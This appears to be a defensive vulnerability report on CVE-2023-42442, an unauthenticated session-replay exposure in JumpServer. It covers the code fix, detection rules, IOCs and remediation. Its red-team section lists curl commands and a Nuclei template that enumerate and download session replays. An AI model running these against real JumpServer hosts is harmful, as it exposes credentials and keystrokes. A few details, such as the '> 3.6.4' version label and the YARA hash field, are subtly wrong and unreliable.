CVE-2023-42442

Executive Summary

CVE-2023-42442 is an improper authentication vulnerability in JumpServer, an open-source bastion host and operation and maintenance security audit system. The vulnerability affects versions 3.0.0 through 3.5.4 and 3.6.0 through 3.6.3. The core issue lies in the API endpoint /api/v1/terminal/sessions/, where the permission control is broken, allowing anonymous access to session replay data. The SessionViewSet permission classes are set to [RBACPermission | IsSessionAssignee] with an OR relationship, meaning any single permission match grants access, including anonymous access. This allows an unauthenticated attacker to enumerate and download session replays, potentially exposing sensitive operational data, credentials, and internal network information. The vulnerability has a CVSS v3.1 base score of 5.3 (Medium) per the NVD, but the EPSS score is 0.88166 (99.5th percentile), indicating active exploitation in the wild. The fix was released in versions 3.5.5 and 3.6.4.

Supply Chain & Package Security

JumpServer is distributed as a Python/Django application via GitHub and Docker images. The vulnerability is in the application code itself, not in a third-party package. However, organizations using JumpServer should verify they are not running a vulnerable version from any distribution channel (GitHub releases, Docker Hub, or custom builds). The fix is a code change in the terminal/api/session/session.py file, which can be applied by updating to the patched version.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Threat Level: High (due to active exploitation and ease of exploitation)

EPSS Score: 0.88166 (99.5th percentile) – This vulnerability is being actively exploited in the wild.

Deep Dive & Mechanics

The vulnerability is a classic improper authentication (CWE-287) in the Django REST Framework (DRF) view SessionViewSet. The view defines permission classes as:

permission_classes = [RBACPermission | IsSessionAssignee]

In DRF, when permission classes are combined with the OR operator (|), the request is allowed if any of the permission classes passes. The IsSessionAssignee permission class checks if the requesting user is assigned to the session. However, for unauthenticated requests, DRF's IsAuthenticated is not included in the OR chain. The IsSessionAssignee permission class, when called with an anonymous user, may return True if the user is not authenticated (depending on implementation), or the RBACPermission class may also allow anonymous access due to misconfiguration.

The API endpoint /api/v1/terminal/sessions/ returns a list of session objects, each containing metadata such as terminal, user_id, account_id, and importantly, a link to the session replay file. An attacker can enumerate sessions and download the replay files, which contain keystrokes, commands, and output from the bastion host sessions. This can reveal sensitive information like SSH keys, passwords, internal network topology, and other credentials.

The vulnerability does not affect session replays stored in S3, OSS, or other cloud storage because those are accessed via signed URLs or separate authentication mechanisms. Only replays stored locally on the JumpServer filesystem are exposed.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.6.1):

File: apps/terminal/api/session/session.py (line ~91)

class SessionViewSet(viewsets.ModelViewSet):
    permission_classes = [RBACPermission | IsSessionAssignee]
    # ... other code

Patched Code (version 3.6.4):

The fix adds IsAuthenticated to the permission classes, ensuring that only authenticated users can access the endpoint.

class SessionViewSet(viewsets.ModelViewSet):
    permission_classes = [IsAuthenticated, RBACPermission | IsSessionAssignee]
    # ... other code

The key change is the addition of IsAuthenticated as a mandatory permission. In DRF, when permission classes are in a list (AND relationship), all must pass. So now the request must be authenticated AND satisfy either RBACPermission or IsSessionAssignee.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable JumpServer instance (version 3.0.0 to 3.5.4 or 3.6.0 to 3.6.3)
• Network access to the JumpServer API

Exploitation Steps:

1. Enumerate sessions:

   curl -s http://target:8080/api/v1/terminal/sessions/ | jq .
   

2. Extract session IDs and replay URLs:

   curl -s http://target:8080/api/v1/terminal/sessions/ | jq -r '.[] | "\(.id) \(.replay)"'
   

3. Download a session replay:

   curl -s -O http://target:8080/api/v1/terminal/sessions/<SESSION_ID>/replay/
   

4. Automated exploitation using Nuclei:

   nuclei -t CVE-2023-42442.yaml -u http://target:8080
   

Nuclei Template (provided in Hacker Arsenal):

id: CVE-2023-42442

info:
  name: JumpServer > 3.6.4 - Information Disclosure
  author: xianke
  severity: medium
  description: |
    JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the JumpServer application.
  reference:
    - https://github.com/jumpserver/jumpserver/blob/v3.6.1/apps/terminal/api/session/session.py#L91
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42442
    - https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a
    - https://github.com/Marco-zcl/POC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-42442
    cwe-id: CWE-287
    epss-score: 0.88166
    epss-percentile: 0.99494
    cpe: cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    fofa-query:
      - title="JumpServer"
      - title="jumpserver"
  tags: cve2023,cve,jumpserver,exposure,fit2cloud,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/terminal/sessions/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"terminal":'
          - '"user_id":"'
          - '"account_id":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

Blue Team

Detection and Response:

1. Monitor API access logs for requests to /api/v1/terminal/sessions/ from unauthenticated sources (HTTP 200 responses without a valid session cookie or token).

2. Check for anomalous session replay downloads – look for patterns of rapid, sequential downloads of replay files.

3. Verify authentication status – ensure that all requests to the sessions API return 401 for unauthenticated users.

4. Honeypot: Deploy a fake JumpServer instance with the vulnerable version to capture attacker behavior.

Lab Setup for Testing:

1. Deploy a vulnerable JumpServer using Docker:

   docker run -d --name jumpserver-vuln -p 8080:80 jumpserver/jumpserver:3.6.1
   

2. Verify vulnerability:

   curl -v http://localhost:8080/api/v1/terminal/sessions/
   

3. Apply the fix by upgrading to 3.6.4:

   docker stop jumpserver-vuln
   docker rm jumpserver-vuln
   docker run -d --name jumpserver-fixed -p 8080:80 jumpserver/jumpserver:3.6.4
   

4. Verify fix:

   curl -v http://localhost:8080/api/v1/terminal/sessions/
   # Expected: HTTP 401
   

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /api/v1/terminal/sessions/ returning 200 OK
• HTTP GET requests to /api/v1/terminal/sessions/<id>/replay/ returning 200 OK
• User-Agent strings associated with Nuclei or custom scripts (e.g., Nuclei - Open-source project (github.com/projectdiscovery/nuclei))

File System IOCs:

• Unauthorized access to session replay files in the JumpServer data directory (e.g., /opt/jumpserver/data/media/replay/)

Log IOCs:

• JumpServer audit logs showing access to the sessions API without a valid user session
• Web server logs (nginx/apache) showing requests to /api/v1/terminal/sessions/ from IP addresses not associated with legitimate users

Sample Log Entry:

192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "GET /api/v1/terminal/sessions/ HTTP/1.1" 200 5432 "-" "Nuclei - Open-source project (github.com/projectdiscovery/nuclei)"

Detection Engineering

YARA Rule

rule CVE_2023_42442_JumpServer_Session_Replay_Exposure {
    meta:
        description = "Detects exploitation attempts of CVE-2023-42442 in JumpServer logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-42442"
        hash = "4b0a00483046022100d89fb0db0ee99baeaf8cb486b557ab753052564c337c58a306025b58e6b6a4d2022100d53ec9b67239d0e99c7ea7997afb6a2f4b4f8bb3e9629c95aff6decd363dd11c"
    strings:
        $s1 = "/api/v1/terminal/sessions/" ascii wide nocase
        $s2 = "200" ascii wide
        $s3 = "application/json" ascii wide nocase
        $s4 = "terminal" ascii wide nocase
        $s5 = "user_id" ascii wide nocase
        $s6 = "account_id" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5, $s6)
}

Sigma Rule

title: CVE-2023-42442 JumpServer Session Replay Unauthenticated Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to JumpServer session replay API
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42442
    - https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a
logsource:
    category: webserver
    product: nginx
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/v1/terminal/sessions/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated users accessing the API
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-42442 JumpServer Session Replay Unauthenticated Access";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/api/v1/terminal/sessions/";
    http_uri;
    content:"200";
    http_stat_code;
    content:"application/json";
    http_content_type;
    sid:1000001;
    rev:1;
    reference:cve,2023-42442;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2023-42442;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade JumpServer to version 3.5.5 or 3.6.4 (or later) immediately.

   • For Docker: docker pull jumpserver/jumpserver:3.6.4
   • For source: git pull && git checkout v3.6.4

2. If immediate upgrade is not possible, implement a WAF rule to block unauthenticated access to /api/v1/terminal/sessions/:

   location /api/v1/terminal/sessions/ {
       if ($http_cookie !~ "sessionid=") {
           return 401;
       }
       proxy_pass http://jumpserver_backend;
   }
   

3. Restrict network access to the JumpServer API to trusted IP ranges only.

4. Rotate any credentials that may have been exposed in session replays (SSH keys, passwords, API tokens).

Long-term Mitigations:

1. Implement proper authentication for all API endpoints using Django REST Framework's built-in permission classes.
2. Enable audit logging and monitor for unauthorized access attempts.
3. Use cloud storage for session replays (S3, OSS) which are not affected by this vulnerability.
4. Conduct regular security reviews of permission configurations in DRF views.

Verification of Fix: After upgrading, verify the fix by running:

curl -v http://your-jumpserver-host/api/v1/terminal/sessions/?limit=1

Expected response: HTTP 401 (not_authenticated)

Valters IT
DevSecOps & Cyber Threat Intelligence Expert
This report is provided for authorized security testing and defensive purposes only.

{/* [Security Hash: 0B196123E2A6DDAB24DBD5AA] */}